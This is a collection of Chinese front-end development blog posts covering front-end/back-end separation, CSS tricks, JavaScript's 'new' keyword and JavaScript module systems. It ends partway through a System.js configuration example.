	Ghost Node.js开发最新博客系统, 简单简洁, 响应式设计, 支持完全自定义, 免费, 专注博客。star:16000




	io.js  从NodeJS里分离出来的一条分支。star:13000




	2048 游戏 view demo star:7000




	ueditor 百度前端团队出品的富本文编辑器。star:1.1K




优秀开源组织


	AlloyTeam 腾讯 Web 前端团队。


	fex-team 百度前端团队。




	文章已推送至我的github，欢迎pullrequest：https://github.com/hawx1993/github-FE-project




PS：文章在github更新，本篇文章停止更新


 前后分离架构的探索之路

作者：n͛i͛g͛h͛t͛i͛r͛e͛

来源： 前后分离架构的探索之路



                    
大约五年前，那时候我还是一个小小讲师（苹果 AATC 培训认证），完全不懂编程为何物的菜鸟，一个偶然的机会让我进入了公司的开发部门，任职什么呢？用户体验设计师，原因很操蛋——我以前干过广告设计，做过餐饮服务行业，因而我有两个优势：能聆听和揣摩客户的需求，然后能做一些图。

那时候很多像我们公司一样的中小 IT 企业（200人左右，组成成分主要是大大小小的项目团队）都有要做自主产品的诉求，这是市场决定的：出门找生意越来越难了。于是很多野路子出家的产品研发团队就这样诞生了……

说是产品研发团队，其实都只是一群习惯了听命于人去按照 RFP 实现功能的码农罢了，和其他项目组相比唯一的差别大概就是“尚有梦想的咸鱼”而已。所以研发过程中的种种幼稚和操蛋，你用脚趾头都能猜想得到。

一开始我就是把各位老大的设想整理成人人看得懂的需求，然后把它们串起来画成草图（mockup）再交给各种工程师去实现好了，这个角色类似于如今很时髦的“产品经理”。然而很快我发现大家老是加班，为什么呢？调 CSS 样式！

做惯了平面设计的我并不懂得把画出来的东西变成浏览器里的东西会有多麻烦。（今天，我在面试一些切图页面仔时，听他们大谈特谈像素级还原尚觉得好笑，但想想五年前的自己还是很有些羞愧的……然而更令我无语的是：到了如今初出茅庐的小前端们还把像素级还原的切页面当成是至高无上的本事，这件事情本身是不是很令人“沮丧”呢？）当写页面的同事一再告诉我我画的东西不实际之后，我憋不住了——我就不信我画的东西实现不出来！

抱着一口“怨气”，我义无反顾的踏上了 HTML＋CSS 这条路，其中过程不用多讲，唯一的金玉良言只有一条：别看国内的教程，别信 w3school 之类的拼凑资源站。总之这事儿的结果是半年以后整个项目组几乎所有的页面都是我来写了。（今天，已然成为前端架构师的我，所有页面的自定义样式还是得我亲自写，我不怪任何人因为我知道在很多工程师内心里还是瞧不上写 HTML＋CSS 的技术的，你们不愿意学我不勉强，我来。我还要感谢你们，为了能把饭喂到诸位的嘴里，我花费大量的时间学习 CSS 框架的开发，从而精通了整个生态链，从 pre-processing 一直到 post-processing）。

这个世界就是这样：一旦你专精了一项技能，你会很容易看出相关的技能在目前的水准如何。古人说：水涨船高。诚不欺我也。

所以成天耳濡目染 HTML＋CSS 的我，经受着各种国外大神的视频＋教程耳提面命的我，很快就明白了一件事：我做的这个叫前端开发，HTML＋CSS 只是起了一个头，后面还有一座叫 JavaScript 的大山等着我。而我们做的前端开发还很嫩，活该你成天加班改样式，修 bug，因为你一开始就没走对路数。

幸好还不晚，不过这篇的主题是前后分离，所以我得按下快进按钮直奔主题而去。

JavaScript 对我来讲太难太难了，但是 jQuery 尚可，因为它有非常棒的 API 设计和兼容性处理，很适合我这样的菜鸟入门。那时候有一个叫 Jeffery Way 的家伙录制了一套 30 天学会 jQuery 的教程让我受益匪浅，我认为他讲得好，主要是两个原因：


	他不主要讲各种 API 如何用，他从一开始就给我贯彻了一个重要的思想：学会看文档；


	他主要讲如何分析一个功能的实现，如何组织以 jQuery 为核心的代码逻辑；




在这里先插一段旁述。各位能在工作中使用 Rails 的同行们，你们是无比幸运的！因为 Rails 已经把 View－Template 这一环节梳理的足够简单，哪怕完全不懂 Rails 的页面仔，你稍微提点提点，他也能很快学会如何把静态页面套进 Rails 的模版里去。

而我则是很不幸的，在那时我碰上了非常讨厌的 JSP！你们千万别笑，随便去问那些写页面出身的前端们对 JSP 是什么感受，绝对不会有好脸色的。对，我承认自己很菜。写静态页面我行，但转成 JSP 模版这件事在那时真的能把我难死！更要命的是，如果你把写好的页面交给后端工程师去套模版，最终的结果就是一塌糊涂！没错，他们根本不会细心周到的照顾你精心设计的每一个标签，他们会做出各种各样奇葩的事情来破坏原本完美的页面结构，逼迫你不停的修改样式和脚本来适应这些“补丁”。

更要命的是调试！原本写 HTML＋CSS 一个轻量级编辑器就搞定了，但等他们转成 JSP 之后你再想去调试就没那么简单了。你需要：


	运行环境，比如 Java＋Tomcat，不懂吧？没事，学！


	生态链，比如 Maven 或 Gradel，不懂吧？没事，学！


	IDE，比如 eclipse 或 IDEA Intellij，不懂吧？没事，学！顺便一提，知道没接触过 Java 的人想跑起一个应用来有多难吗？我就是为此才爱上 Rails 的！


	……




就这样，为了调试 HTML＋CSS，你最终变成除了不会写 Java 代码外其他全都会的 Java 开发工程师。

你们这些从后端出身的家伙们能体会到前端页面仔们迈出这一步需要多大的勇气和毅力吗？

你们能想象他们之所以不得不学做这些，就是因为你们无法认真对待 HTML＋CSS＋JavaScript 吗？

为什么要在后端的环境下做前端的事情？其实就为了三个字：擦屁股！

你可以说我们这一群人都很菜，我也承认，可是你要知道：环境不是时时处处都可以给你各种选择的，有时候你唯一能做的选择就是改变自己。那么作为一个只懂 HTML＋CSS＋皮毛 JavaScript 的我，能做出什么？不知从何时开始，“如果可以不再依赖任何环境就可以做好我们的份内之事就好了”这样幼稚的念头开始萦绕在我的脑袋里……

回到 Jeffery 的视频教程，在其中的一节他演示了 Ajax 获取远程数据然后动态修改 DOM 的例子，当时的例子里用的是 Twitter 的 API，然后每隔一段时间拉取几条新数据让页面即时刷新这样子……

不要笑，知道我当时有多震惊吗？我觉得我们就他妈的是一群傻逼好吗？

第二天我慌不择路的把这段视频拿给后端架构师看，问他实现这样的东西，可行？他憋了半天：我们都是直接去数据渲染到 JSP 的，API 没做过……

操！没做过难道不能做？我赶紧抛出了诱饵：如果搞的出来，以后你们再也不用套模版了！

这货立马答应了……

此后就是翻天覆地的折腾，我搜遍了所有能找到的资料，把它们翻成中文或者直接当面讲给后端听，有些东西我们都无法理解就先记下来，晚上回去我上 SO 问，上 Youtube 搜会议等资料看。

然后他们告诉我，如果换 Spring 的话可能会比较简单，因为他们能百度到用 Spring 开发 API 的例子。于是我们就开始改造了。

改造的第一步是不用写 JSP（或者少量的写），但是静态资源其实还是放在 Tomcat 容器里的，因为我们经过尝试发现跨域问题解决不了（是的，当时就是菜，连反向代理都不懂），不过没关系，反正我已经学会了本地跑 Tomcat 了，至少我们可以不用写 JSP 了嘛。现在回想一下当初搞前后分离的原始动机竟然就是为了不再去写 JSP，多么滑稽啊！然而反过来想想，这也映衬了一个事实：前端工程师们的生态环境是有多糟糕！

再然后就是把 jQuery 修炼到满级开始无脑刷副本的无聊过程，当然在这个过程中也体验了一些新东西，比如前端的模版引擎（Jade／Handlebars／Art等），模块系统（SeaJS／RequireJS）等等，JavaScript 的水平和理解有了长足的进步，终于开始有一个工程师的样子了。

再之后就是大家都知道的剧本，node.js 横空出世，一下子 HTTP Server，API Service，Shell Scripting……等等这些统统都可以用 JavaScript 来搞了，npm bower grunt gulp……等等这些应运而生，忽然间前端开始有了自己的生态系统！尽管它还很弱小还很混乱，但是它给了我们这些野路子出身摸爬滚打浑身泥水的家伙们一道希望之光，它让我们看到：


	我们可以不依赖后端的运行环境：node.js


	我们可以有自己的生态圈：npm


	我们可以随心所欲使用各种方便的开发工具：所以我后来成了 vim 党


	……




我们可以有很多可能，我们可以把我们擅长的事情做得更棒而不需要后端哥哥们操心，我们可以省去很多后端要 cover 的工作让他们专心写好自己的代码，我们设想中的分离是有搞头的，不仅仅是为了分离而分离，而是为了更好的专精、多能、协作、管理而分离！

何以如此狭隘的看待前后分离？时至今日我也不懂为什么有那么多人抱持着种种怀疑与偏见。

你们不用担心数据层逻辑会有冗余，因为把 Model 的逻辑分摊到前端身上可以省去后端的部分代码和处理工作，而前端也可以更容易地按照业务来组合自己需要的 Model
你们不用担心视图层的缓存，因为分离后前端只存在静态资源，我们可以利用 CDN，利用 负载均衡，利用很多很多技术分摊过去必须让后端来承担的工作
你们不用担心页面渲染速度，首页怕慢我们可以交给服务端来渲染，或者在中间加一个很简单的 node server 来做首页静态化渲染，后面的事情交给前端就是，只快不慢
你们不用担心要为多个客户端做不同的资源调度，只要 API 规划得到，一套 Service 可以支持多个客户端的业务体系，而前端行有余力甚至可以写出多个版本来做 A／B 测试
你们不用担心 ……

优点多了去了。

不是说这些优点目前都很成熟，也不是说实现它们没有代价，但是你不去做就不可能成熟，代价也不是不可以有但关键是要看长远的收益。

很现实的例子就是我们有一套系统本来是为自己做的，后来让客户知道了觉得很感兴趣希望为自己定制一份。我们分析了一下，发现现有的 API 已经可以满足用户的需求，只需要针对几个具体的业务逻辑再扩充几个接口让数据负载更合理便可，于是我们只用了三天就给客户出了一个完全可用且相当稳定的 demo。客户觉得满意，开始按照他们的 VI 重新设计一套 UI，然后剩下的事就是找几个页面仔把页面写出来，现成的 Angular 逻辑往上一套小改几处即可。

你会觉得不值得？

当然了，我在这里不是鼓吹前后分离信仰，不是强求所有的事情都需要分离来做。一个产品的轨迹是需要产品研发团队自己把控的，如果人云亦云流行什么用什么那也就和无脑儿没啥区别了。有些场景也的确不需要分离，比如说门户网站，CMS，Mini Site 这类的需求就可以沿用成熟的开发体系。不过我之前谈到过，探索和实践分离体系还有一个重要的好处，就是能够让你现有的前端开发团队摸索和整理出一套单兵作战的环境体系，即便是不用分离架构，我单纯用 node.js 写一套门户网站，CMS，Mini Site 这样的东西也不会比 Rails 慢啊！这样一来，我还是可以把后端的资源用在更重要的底层服务或业务逻辑去，把那些和页面 UI 交互相关，但又和数据层有着小小关联的业务交给前端独立完成，又有什么不好呢？

前后分离＝SPA？SPA＝臃肿框架？

这一点我觉得有必要分析清楚，标题里的两个问号是我见到过最多的误解。

首先，前后分离是架构上的事情，第一次做肯定很痛苦，但做一遍之后好处还是很多的。举实例说明：

我们做过一个会议的应用，这个应用一开始设计是没有 web 端的前台的，只有一个管理后台，前台都是移动端。基于这个原因，我们还是分离的（因为你得提供 API 给移动端，不分离还能怎么搞呢？），后台用成熟的 Angular 很快就做好了。

没想到后来有一个额外的要求，用户要在创建会议的时候生成一套在线的会议手册，这个会议手册就是一个简单的多页面 CMS 系统，当用户创建新会议的时候在后台填写手册相关的内容，我们就要为它生成一系列的页面来显示（类似于 Mini Site），它有两个特定要求：


	不需要登录，公开访问。然而最初的设计是没有账号就不能参加会议，需要报名，所以我们后台和移动 App 都是直接先要求登录或注册的，相应的 API 请求也是如此，有鉴权控制的。


	要能多端访问，还要能嵌套在原生应用的 webview 里，因为加功能来不及了，只有一天时间。




传统的架构你的写页面然后套模版去调试，虽然只有不到10页，但也是很费时间的。但我们已经分离了，现在为了这么一个额外的需求也不值得再倒退回去，那么怎么做的呢？


	单独建一个会议手册的项目；


	模版用 Sass＋Handlebars 很快搞定；


	里面的接口请求为每一个会议服务商绑定一个 token（后来还在后台允许管理员重新生成和绑定 token），渲染页面时写死在 <meta> 标签里（就好像 CSRF 的处理），以此绕过鉴权


	写一个简单的 node service，就干一件事：渲染handlebars模版


	创建会议的时候，Java API 传会议 ID 给 node service，把渲染好后的页面单独保存在静态资源服务器下（用 ID 创建独立目录），然后返回调用地址


	后台收到会议地址，嵌入一个 iframe 做手册预览




一天搞定，完事。值得一提的是，整个手册用了许多 HTML5 的新特性，比如 History API，SessionStorage，OfflineCache，GeoLocation，DesktopNotification，没有用 Polyfill，因为这些都是可选特性，不支持就不作用，关键是：从头到尾就是没用 jQuery——不是我跟 jQuery 过不去，的确用不着，还嫌大。更不要提 SPA 框架了，完全没有。

所以你看，分离架构可以让我们很快完成这样的小任务，并且可以单独维护管理，也可以直接共享现有的 API 资源，它不一定只是为了 SPA 才分离，而且也没有什么技术难度。能用很短的时间完成还能保证质量，是因为我们有成熟的构建和CI，如果换成是当初 JSP 那一套，光配置个本地环境就够够的了，其他我都不敢想象。

分离是架构选择，决定了你如何管理、分配与协调现有的资源，至于你分离后要做 SPA 还是其他模式的应用那完全是你的自由，并不是捆绑一加一的强制性决策。去构建一个分离体系当然会有挫折有代价，没有人否认这个，然而一）这是可选的；二）你能否看到和利用它的好处。

至于 SPA 一定是臃肿的吗？保持这种思想的我只能说你目光所见过浅。相比十年前的 web 开发，我能说现在 Rails 很臃肿吗？别说十年前了，就是今天一样也有人说 Rails too heavy！你觉得呢？那又怎样呢？还不是该用就用？水平高的自然知道拆分和减肥，连 Rails 自己都知道瘦身一个 Rails API 出来，你以为所谓“臃肿”是 SPA 框架的专利吗？SPA 之所以臃肿是有两个主要的现阶段环境因素决定的：


	非常多的新特性层出不穷，为我们开发更丰富强大的应用程序提供了武器和弹药。但是浏览器（及其他运行环境）和设备碎片化的问题导致这些新特性无法提供始终一致的表现或性能，于是各种框架就要在底层做兼容性的补充与改良，顺便还要为尚未形成标准的新特性重新封装 API 接口。比如说 Ember 干嘛要造一个 Object 接口出来？不就是因为 Observable 接口没有吗？有什么大不了的？ES2016就有了（非常可能），或者你可以不用 Ember 自己的，用第三方的 Observable 组件来代替也行。
  jQuery 做的事情和这有多大区别？没错，jQuery 是相对轻了，可是它负责的面儿也少啊，哪位用 jQuery 的不都得附带十个八个插件的？合在一起就轻了？


	相对的，前端工程这块业界整体的水平差距很大，牛的特牛，菜的特菜；但是菜的也希望用牛的工具，可又没那个底蕴解决牛的能解决的问题，于是牛的就把一个一个特性统统封装好联系在一起，让你尽可能快速简单的就能用到。
  如果大部分的工程师都成长起来了，也就没有必要非得搞大而全的方案了，React 及其生态体系不就是一个很好的例子吗？不给你搞大而全，只给你搞小而专，你以为你把那一堆连起来用就不叫 SPA 了？幼稚！




再说一遍，SPA 是一种产品的技术形态，而不是特定某（几）种框架下的产物，满足这种技术形态的工具链可以臃肿也可以简洁，这是因为环境和人决定的。

Single Page Application，not Some Particular Application

前后分离还有一方面的作用。前端工程师都有一个普遍的特点：你让他们写个页面信手拈来，但是你让他们负责一个完整的业务多半就得抓瞎。为什么？因为他们太偏门。最近一两年我开始大量的面试和储备新人，十有八九都是这样的：HTTP？不懂！Ajax？懂！（你觉得合理吗？）jQuery 请求 API？会！Promise 用过？……没。换个说法，deferred 对象？哦哦，见到过！（你觉得合理吗？）

诸如此类的问题屡见不鲜，让我对前端这个行业的未来充满忧虑。当初我也是从一窍不通的菜鸟开始，若那时没有“一定要摆脱 JSP”的幼稚理想，我怎么可能通过摸索前后分离让自己拥有今天这样相对全面的见识和理解？我走过的路让我明白，探索前后分离并不是像很多旁观者说的“为了分离而分离”，反而是“为了更好的理解 web 开发这回事而分离”。

因为当你开始摸索这条路，你就不得不面对许多根本性的问题，拿跨域资源共享来说吧，以前的架构前端工程师是极少需要面对这种问题的，但你只要一分离就必然会碰到，然后你就要去学诸如 JSONP，CORS，HTTP 协议，浏览器安全机制，PreFlight Request，反向代理等等技术细节。看似加重了学习成本（要我说，这些原本应该是学校的责任！），但作为同事，你希望你身边做的是个只会“追求像素级还原”的页面仔呢？还是对上述知识点有着扎实的理解和实践经验的工程师呢？

说到这，就昨天有人在 SF 上问了个问题，大致是问：JavaScript 怎样才算学好了？总觉得需要自己能写一个库或框架出来才算学好了，大家怎么看？

我刚好和人吵完了架，静下心想了想之后作出了如下回答：

少年苦练 10 年拳术欲下山扬名立万，路遇一使刀汉子，数招后不敌惨败而归……回山后找师傅问话

“师傅，为何我苦练十年还会输？”

“因为你不知道打架不止可以用拳头。”

“可你也没告诉我啊！”

“你只说要学拳法，又没说学打架！”

“那我不学拳法了，我要学打架！”

“那就不只是要学拳法了，打架想要赢就得十八般武艺都学，你未必要门门精通，但你最起码得有这些见识。除此之外，还得学挨打，学疗伤，学逃跑，学追踪，学暗器，学使毒……想赢？哪有那么简单的！”

“那我还能成拳法宗师吗？”

“呵呵，如果你打架再也不会输，谁敢说你不是宗师？”

这个寓言想表达的意思是不言而寓的，我很赞同这里一位朋友说的：我们不应该有前端后端之分，我们可以有专精之处，但是对于 web 开发这回事该懂的都应该要懂，否则你怎么可能打得赢？同理，如果说后端工程师需要靠写页面来了解前端的话，那么前端也应该有类似的方式来了解后端做的一些事情。在这里探索前后分离就是一个很好的教学与实践相结合的手段。没有哪个页面仔会甘于永远切图写页面，他们也很羡慕后端哥哥们大神般的风骚，只是他们所处的环境造成了他们只知道数十年如一日的就懂切页面了，如果能多给他们一些提携与帮助，谁敢说他们以后不会成为江湖高手？

很多人拿工作忙，缺人手，创业公司求效率等借口来回避在技术道路上的探索和进取，说真的我个人非常非常可以理解，我当初所做的事情其实和创业什么的也没多大区别，我们人手也很紧缺——今天我们只有三个人维护着四款前后分离架构的中大规模产品，这些产品有 Saas 版本的，还有大大小小十几个在客户那里独立部署的，你没看错就三个人！一个 Java 工程师，一个懂 Java 的前端工程师，再加上我这个什么都懂一点但什么都不专精的万金油。

我们做的还不够好，但我们已尽力做到自己能做的最好，与我们这五年来碰到的风风雨雨相比较，探索前后分离这真的不算个大事儿好吗？

作为前端工程师（并且是懂得和尊重后端开发的），我很欣慰能活跃在这个时代，就像有人说的：这是前端最好的时代，也是前端最坏的时代。然而历史无数次证明：真金不怕火炼，英雄应运而生。那些后端语言环境和框架体系难道没有经历过同样的革新与变迁？就因为我们过去是只会写 jQuery 的页面仔，所以我们就应该永远这样停滞不前？

这就是我探索前后分离的过程和心得感想，主要是在离职前为过去五年做一个总结。写得比较凌乱也没什么技术含量，根本的意思还是要鼓励众多的前端同行们：学校没有我们的专业课，社会对我们的工作没有准确的认知和评价，这都不要紧！重要的是我们自己不能看轻自己的能力，不能放弃自己的价值。在学习和工作尚有余力的时候勇于探索吧，别管别人说什么，本事学到手才是最重要的，要记住：你是一个工程师，你不是一个页面仔！


 ## CSS 的黑科技
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  补充篇在这里 http://segmentfault.com/a/1190000003029085




昨天由于某些原因没有写博客，之前说好的每天一篇的，这篇是为了补昨天的了。然后我就要当一次标题党了。这里的黑科技其实就是一些CSS中不怎么为人所知但在解决某些问题的时候很溜的属性。


border-radius


很多开发者估计都没有正确认识这个border-radius，因为基本上很多人都是这么用的：


.box {
  border-radius: 4px;
}





稍微高端一点的是这样的：


.box {
  border-radius: 4px 6px 6px 4px;
}





然而，终极黑科技是这样用的：


.box {
  border-radius: 5px 5px 3px 2px / 5px 5px 1px 3px;
}




对，它可以赋8个值，没见过？不着急，具体的解释是这样的：


斜线前面的影响的是水平方向，斜线后面影响的是垂直方向，各个数字就分别代表四个不一样的方向。




outline-offset


相信很多开发者在写CSS的时候对下面的语句会很熟悉：


input {
    outline : none;
}

input:focus {
    outline : none;
}




这就是将input输入框去掉默认的蓝线框的方法。其实，这里还有说一个就是，CSS中还有一个outline-offset属性，在这个属性中，你可以设置默认线框的距离；像这样


input {
    outline-offset: 4px ;
}




调节该属性值的大小你就可以看到outline的距离变化了。


类的声明


对于下面的类的声明，可能大家都很熟悉：


.col-8 {

}



这当然没什么，但是如果你这样写呢：


.♥ {
  color: hotpink;
}

.★ {
  color: yellow;
}




嗯，看起来怎么样，你是可以这么用的：




<div class="♥ ★"></div>






只要是Unicode的，你都可以这么来声明你的类。


选中连续的几个元素


ol li:nth-child(n+7):nth-child(-n+14) {
  background: lightpink;
}
/** Or Safari Way **/
ol li:nth-child(-n+14):nth-child(n+7) {
  background: lightpink;
}




上面的这种写法其实就可以达到选中ol下面的第七到第十四个li元素。


伪类设置单标签


html中有几个常见的单标签：<br> ,<hr>等。具体可以查看这里：


http://www.w3.org/TR/html5/syntax.html#void-elements


下面的示例是实现对<hr>的修饰。


hr:before {
    content: "♪♪";
}

hr:after {
    content: " This is an 

<hr>

 element";
}




没错，关键就是使用:before和:after这两个伪类。在这里，顺便说一点就是，其实你还可以用这两个伪类来修饰<meta> 和 <link>，不过这个前提是，你把这两个的display属性设置为：


display: block




属性区分大小写


假如我们在写html的时候有类似下面的代码：




<div class="box"></div>


<input type="email">




然后我们用属性选择器进行CSS修饰：


div[class="box"] {
  color: blue;
}

input[type="email"] {
  border: solid 1px red;
}




这样的声明方式毫无疑问地就会生效。然而，如果我们声明成下面这个样子，结果会是怎么样的呢：


div[class="BOX"] {
  color: blue;
}

input[type="EMAIL"] {
  border: solid 1px red;
}



这变成了大写之后，第一个class="BOX"并不会影响到<div class="box"></div>,而第二个type="EMAIL"还是会正常修饰<input type="email">。所以在使用属性选择器的时候，注意大小写问题。


目前就只觉得这些CSS黑科技需要提醒自己一下，有可以补充。


Happy Hacking


 你真的弄明白 new 了吗

作者：lwl

来源： 你真的弄明白 new 了吗



                    
好久没有写点东西了，总觉得自己应该写点牛逼的，却又不知道如何下笔。既然如此，还是回归最基本的吧，今天就来说一说这个new。关于javascript的new关键字的内容上网搜一搜还真不少，大家都说new干了3件事：



	创建一个空对象

	将空对象的__proto__指向构造函数的prototype


	使用空对象作为上下文调用构造函数



文字比较难懂，翻译成javascript：


javascriptfunction Base() {
    this.str = "aa";
}

// new Base()干了下面的事
var obj  = {};
obj.__proto__ = Base.prototype;
Base.call(obj);



想想是这么回事哈，那就赶快试试：


javascriptvar b = new Base();
console.dir(b); // Base {str: 'aa', __proto__: Base}



好像是正确的，但是真的正确吗？？？


真的就3件事？


每个对象都有一个constructor属性，那么我们来试试看new出来的实例的constructor是什么吧。


javascriptconsole.dir(b.constructor); // [Function: Base]



可以看出实例b的constructor属性就是Base，那么我们可以猜测new是不是至少还做了第4件事：


javascriptb.constructor = Base;



以上结果看似正确，下面我们进行一点修改，这里我们修改掉原型的constructor属性：


javascriptBase.prototype.constructor = function Other(){ };
var b = new Base();
console.dir(b.constructor); // [Function: Other]



情况就不一样了，可以看出，之前的猜测是错误的，第4件事应该是这样的：


javascriptb.constructor = Base.prototype.constructor;



这里犯了一个错误，那就是没有理解好这个constructor的实质：当我们创建一个函数时，会自动生成对应的原型，这个原型包含一个constructor属性，使用new构造的实例，可以通过原型链查找到constructor。如下图所示：





这里非常感谢zonxin同学指出我的错误。


如果构造函数有返回值呢？


一般情况下构造函数没有返回值，但是我们依旧可以得到该对象的实例；如果构造函数有返回值，凭直觉来说情况应该会不一样。我们对于之前的构造函数进行一点点修改：


javascriptfunction Base() {
    this.str = "aa";
    return 1;
    // return "a";
    // return true;
}
var b = new Base();
console.dir(b); // { str: 'aa'}



我们在构造函数里设置的返回值好像没什么用，返回的还是原来对象的实例，换一些例子试试：


javascriptfunction Base() {
    this.str = "aa";
    return [1];
    // return {a:1};
}
var b = new Base();
console.dir(b); // [1] or {a: 1}



此时结果就不一样了，从上面的例子可以看出，如果构造函数返回的是原始值，那么这个返回值会被忽略，如果返回的是对象，就会覆盖构造的实例。


new至少做了4件事


总结一下，new至少做了4件事：


javascript// new Base();

// 1.创建一个空对象 obj
var obj = {};
// 2.设置obj的__proto__为原型
obj.__proto__ = Base.prototype;
// 3.使用obj作为上下文调用Base函数
var ret = Base.call(obj);
// 4.如果构造函数返回的是原始值，那么这个返回值会被忽略，如果返回的是对象，就会覆盖构造的实例
if(typeof ret == 'object'){
    return ret;
} else {
    return obj;
}



new的不足


在《Javascript语言精粹》（Javascript: The Good Parts）中，道格拉斯认为应该避免使用new关键字：



  If you forget to include the new prefix when calling a constructor function, then this will not be bound to the new object. Sadly, this will be bound to the global object, so instead of augmenting your new object, you will be clobbering global variables. That is really bad. There is no compile warning, and there is no runtime warning.




大意是说在应该使用new的时候如果忘了new关键字，会引发一些问题。最重要的问题就是影响了原型查找，原型查找是沿着__proto__进行的，而任何函数都是Function的实例，一旦没用使用new，你就会发现什么属性都查找不到了，因为相当于直接短路了。如下面例子所示，没有使用new来创建对象的话，就无法找到原型上的fa1属性了：


javascriptfunction F(){ }
F.prototype.fa1 = "fa1";

console.log(F.fa1);       // undefined
console.log(new F().fa1); // fa1



这里我配合一张图来说明其中原理，黄色的线为原型链，使用new构造的对象可以正常查找到属性fa1，没有使用new则完全走向了另外一条查找路径：





以上的问题对于有继承的情况表现得更为明显，沿着原型链的方法和属性全都找不到，你能使用的只有短路之后的Function.prototype的属性和方法了。


当然了，遗忘使用任何关键字都会引起一系列的问题。再退一步说，这个问题是完全可以避免的：


javascriptfunction foo()
{   
   // 如果忘了使用关键字，这一步骤会悄悄帮你修复这个问题
   if ( !(this instanceof foo) )
      return new foo();

   // 构造函数的逻辑继续……
}



可以看出new并不是一个很好的实践，道格拉斯将这个问题描述为：



  This indirection was intended to make the language seem more familiar to classically trained programmers, but failed to do that, as we can see from the very low opinion Java programmers have of JavaScript. JavaScript’s constructor pattern did not appeal to the classical crowd. It also obscured JavaScript’s true prototypal nature. As a result, there are very few programmers who know how to use the language effectively.




简单来说，JavaScript是一种prototypical类型语言，在创建之初，是为了迎合市场的需要，让人们觉得它和Java是类似的，才引入了new关键字。Javascript本应通过它的Prototypical特性来实现实例化和继承，但new关键字让它变得不伦不类。


再说一点关于constructor的


虽然使用new创建新对象的时候用讨论了这个constructor属性，但是这个属性似乎并没有什么用，也许设置这个属性就是一种习惯，能够让其他人直观理解对象之间的关系。


欢迎光临小弟博客：Superlin's Blog

我的博客原文：你真的弄明白new了吗


参考



	再谈javascript面向对象编程

	JavaScript的实例化与继承：请停止使用new关键字
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转载请保留以上信息。


模块化这个问题并非一开始就存在，WWW刚刚问世的时候，html，JavaScript，CSS（JS和CSS都是后来在网景被引进浏览器的）都是极其简单的存在，不需要模块化。

模块化的需求是规模的产物，当web page进化到web application，浏览器端处理的逻辑越来越复杂，展现的样式和动画越来多，对于工程的要求也就越来越高。于是模块化的需求也就产生了。模块化的意义：


	组件的复用，降低开发成本和维护成本


	组件单独开发，方便分工合作


	模块化遵循标准，方便自动化依赖管理，代码优化，部署




JavaScript长久以来被认为是简单的脚本语言，实际上情况早就发生来变化，在最新版的ECMA-262（ES6）文档中强调JavaScript是通用编程语言而不是脚本语言。脚本语言，比如shell并不是用来完成复杂功能的，只是用来做一些自动化控制，是不需要模块化的。而用于构建复杂系统通用编程语言（比如Java）一般都有模块的实现。

1.模块化标准

ES6之前，JavaScript并没有原生的模块机制，好在JavaScript非常灵活，有很多种写法可以将代码天然隔离，起到模块化的功能：

//define
var modules = {}  
modules.mod1 = {  
  foo : function(){...},
  bar : function(){...}
  ...
}
//call
modules.mod1.foo()  


在客户端这种方式基本是够用的，然而问题依然存在：你无法管理依赖，所有的代码都必须load到内存中，需要哪些模块必须由人工处理。分模块是工程化的产物，也是自然发展的结果，自然有很多尝试。很显然，模块之间互相依赖需要编写模块的时候遵循一定的规范。现存的规范还真不少，不知道ES6 能否终结这场混战：


	AMD


	CMD


	closure


	CommonJS


	ES6




AMD和CMD分别是requireJS和seaJS定义的标准。使用纯原生的ES5语法意味者其只能使用闭包，书写和阅读都很怪异。值得一提的是AngularJS也使用类似的方式，以至于Angular的作者们都受不了，决定在AngularJS 2 使用新的语言AtScript，前端轮子太多，又造了一个，好在这个轮子造的比较好，兼容ES6 TypeScript规范，扯的远了，看看AMD长得啥样：

AMD:

define(['./a', './b'], function(a, b) {  
  ...
})


Closure是google出品的前端工具，Closure提供了一系列工具和库，谷歌自己的多个项目都是使用Closure开发的。closure compiler通过模块间依赖的声明把所有被依赖的文件打包到一起，而且Closure的一大优势是如果采用破坏性压缩（ADVANCED）压缩率极高。

//文件A
goog.provide('module1')  
com.foo.bar = {  
   ...
}
....

//文件B
goog.require('module1')  
var a = com.foo.bar;  


然而Closure并不完美，不同的文件共享同一个全局对象，所以你不得不这样写 a.b.c=...。

CommonJS是Node.js使用的模块化标准。Node.js对于前端开发者来说不仅仅可以提供一个Server，还是一个完美的开发平台，在Node上使用Grunt/gulp构建web项目是件很爽的事情。Node的模块化声明的方式与Closure类似，只是更进一步，天然隔离了命名空间。上面的代码如果使用CommonJS的模块化规范可以这么写

//文件A
module.exports = {...}  
....

//文件B
var a = require('./foo/bar')


browserify让使用CommonJS模块化规范的代码可以运行在客户端上。(browserify原理分析)

2.静态加载与动态加载

在看ES6之前我们先看模块加载的两种方式：


	静态加载:在编译阶段进行,把所有需要的依赖打包到一个文件中


	动态加载:在运行时加载依赖




AMD标准是动态加载的代表，而CommonJS是静态加载的代表。AMD的目的是用在浏览器上，所以是异步加载的。而NodeJS是运行在服务器上的，同步加载的方式显然更容易被人接收，所以使用了CommonJS。同样的道理，如果静态加载，那就使用同步的加载方式，如果动态加载就必须用异步的加载方式。

那么ES6采用何种加载机制？

ES6既希望用简单的声明方式来完成静态加载，又不愿放弃动态加载的特性，而这两种方式几乎不可能简单的同时实现，所以ES6提供了两种独立的模块加载方法。

2.1 声明的方式

import {foo} from module1  


2.2 通过System.import API的方式

System.import('some_module')  
    .then(some_module => {
        // Use some_module
    })
    .catch(error => {
        ...
    });


再看下export的语法，与CommonJS很像，只不过没有了module这个对象，而直接调用export。 可以export任何一个 函数，变量，对象

//expt.js
export function abc(){}//export 一个命名的function  
export default function(){} //export default function  
export num=123 //export 一个数值  
export obj={}  
export { obj as default };

//import
import expt from 'expt'//default export  
import {default as myModule} from 'expt' //rename  
import {abc,num,obj} from 'expt' 


更多细节可以看这篇文章：http://www.2ality.com/2014/09/es6-modules-final.html

目前来看，使用预编译的方式显然要好于使用动态加载，浏览器对ES6语法支持还很差，如果使用动态加载ES6，在浏览器端要做ES6到ES5的翻译工作，这个显然是重复低效的。但是随着浏览器对ES6支持增强，尤其是浏览器实现了动态加载API后，动态加载的优势就会展现：


	更流畅的用户体验，动态加载可以实现类似lazyload的加载方式，将download的时间分散


	更简洁的项目，无需预编译，项目可以少配置很多工具


	HTTP/2的普及更倾向于使用多个小的请求，适合动态加载




3.实践

如果现在使用ES6，可以选择动态加载模块system.js 或者browserify的预编译方法。

使用system.js+babel动态加载依赖。system.js 是ES6动态模块加载的一个实现。写了一个小DEMO：

项目初始化

bower install babel system.js --save 


index.html

...
    <script src="/bower_components/system.js/dist/system.js"></script>

    <script>
      System.config({
